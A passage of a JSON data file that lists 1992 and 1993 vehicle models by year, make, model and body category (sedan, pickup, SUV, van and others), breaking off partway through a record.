{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Sportvan G30",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D150 Club Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "S10 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "New Yorker",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "Imperial",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Wagon B250",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Dynasty",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram 50 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Daytona",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Stealth",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Intrepid",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Van B350",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Wagon B350",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Van B150",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Shadow",
"Category": "Hatchback, Convertible"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ramcharger",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Spirit",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Eagle",
"Model": "Summit",
"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Wagon B150",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Eagle",
"Model": "Vision",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Eagle",
"Model": "Talon",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Aerostar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Econoline E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Aerostar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Club Wagon",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Escort",
"Category": "Hatchback, Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Crown Victoria",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Econoline E350 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Bronco",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Geo",
"Model": "Metro",
"Category": "Hatchback, Convertible"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Festiva",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Probe",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Tempo",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Geo",
"Model": "Storm",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Ranger Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Thunderbird",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F350 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Geo",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "F350 Super Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Ford",
"Model": "Taurus",
"Category": "Wagon, Sedan"
},
{
"Year": 1993,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "2500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "1500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Geo",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Rally Wagon 1500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "3500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Honda",
"Model": "Accord",
"Category": "Coupe, Wagon, Sedan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "HUMMER",
"Model": "H1",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Rally Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Vandura 2500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "INFINITI",
"Model": "J",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Honda",
"Model": "del Sol",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Sonoma Club Coupe Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Spacecab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Vandura 3500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Rally Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Honda",
"Model": "Civic",
"Category": "Coupe, Hatchback, Sedan"
},
{
"Year": 1993,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Stylus",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Hyundai",
"Model": "Scoupe",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "GMC",
"Model": "Vandura 1500",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Isuzu",
"Model": "Amigo",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Hyundai",
"Model": "Excel",
"Category": "Hatchback, Sedan"
},
{
"Year": 1993,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "929",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Land Rover",
"Model": "Defender 110",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "323",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Lexus",
"Model": "SC",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "Navajo",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Lincoln",
"Model": "Mark VIII",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "MX-3",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "626",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "RX-7",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "MX-6",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "MAZDA",
"Model": "Protege",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 E",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "190 E",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 D",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 SD",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 CE",
"Category": "Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "500 SEL",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "400 SEL",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "500 SL",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "500 E",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 SL",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "600 SEC",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 TE",
"Category": "Wagon"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "400 E",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "300 SE",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Tracer",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Cougar",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Sable",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "600 SL",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Expo",
"Category": "Wagon"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "3000GT",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "600 SEL",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Villager",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Mercedes-Benz",
"Model": "500 SEC",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Topaz",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Capri",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Mighty Max Macro Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Mighty Max Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Diamante",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Precis",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Montero",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "King Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Sundance",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Colt Vista",
"Category": "Wagon"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "98",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "240SX",
"Category": "Hatchback, Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Cutlass Supreme",
"Category": "Coupe, Convertible, Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "300ZX",
"Category": "Hatchback, Convertible"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "88",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "NX",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Bravada",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Acclaim",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Laser",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Cutlass Ciera",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Cutlass Cruiser",
"Category": "Wagon"
},
{
"Year": 1993,
"Make": "Oldsmobile",
"Model": "Achieva",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Plymouth",
"Model": "Colt",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Porsche",
"Model": "928",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Suzuki",
"Model": "Samurai",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Wagon, Sedan"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Sunbird",
"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "LeMans",
"Category": "Hatchback, Sedan"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Celica",
"Category": "Coupe, Hatchback, Convertible"
},
{
"Year": 1993,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Saab",
"Model": "900",
"Category": "Hatchback, Sedan, Convertible"
},
{
"Year": 1993,
"Make": "Porsche",
"Model": "968",
"Category": "Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Saab",
"Model": "9000",
"Category": "Hatchback, Sedan"
},
{
"Year": 1993,
"Make": "Subaru",
"Model": "Justy",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Subaru",
"Model": "Loyale",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Camry",
"Category": "Wagon, Sedan"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Corrado",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Volvo",
"Model": "940",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Subaru",
"Model": "SVX",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Previa",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "MR2",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "T100 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Sedan, Hatchback"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Paseo",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Golf III",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Xtra Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Tercel",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Jetta III",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Cabriolet",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Acura",
"Model": "Legend",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Volvo",
"Model": "960",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Eurovan",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Volvo",
"Model": "850",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Volkswagen",
"Model": "Fox",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Volvo",
"Model": "240",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Acura",
"Model": "NSX",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Acura",
"Model": "Vigor",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Audi",
"Model": "S4",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Alfa Romeo",
"Model": "164",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Alfa Romeo",
"Model": "Spider",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Audi",
"Model": "100",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "BMW",
"Model": "5 Series",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Audi",
"Model": "Quattro",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "LeSabre",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "BMW",
"Model": "3 Series",
"Category": "Coupe, Convertible, Sedan"
},
{
"Year": 1992,
"Make": "Audi",
"Model": "80",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "BMW",
"Model": "M5",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "Seville",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "Fleetwood",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Skylark",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "Eldorado",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "Brougham",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "DeVille",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Riviera",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Cadillac",
"Model": "Allante",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Caprice",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "APV Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Century",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1992,
"Make": "BMW",
"Model": "8 Series",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Park Avenue",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Astro Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Roadmaster",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "G-Series G10",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "3500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "G-Series G20",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Buick",
"Model": "Regal",
"Category": "Coupe, Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Astro Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "S10 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "G-Series G30",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Beretta",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Sportvan G20",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Sportvan G30",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "S10 Blazer",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Chrysler",
"Model": "New Yorker",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chrysler",
"Model": "Imperial",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Lumina APV",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Cavalier",
"Category": "Coupe, Sedan, Wagon, Convertible"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Lumina",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Corsica",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "S10 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Daihatsu",
"Model": "Rocky",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Chrysler",
"Model": "LeBaron",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Sportvan G10",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D250 Club Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Chrysler",
"Model": "Fifth Ave",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Daihatsu",
"Model": "Charade",
"Category": "Sedan, Hatchback"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Caravan Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Monaco",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Daytona",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Colt",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Stealth",
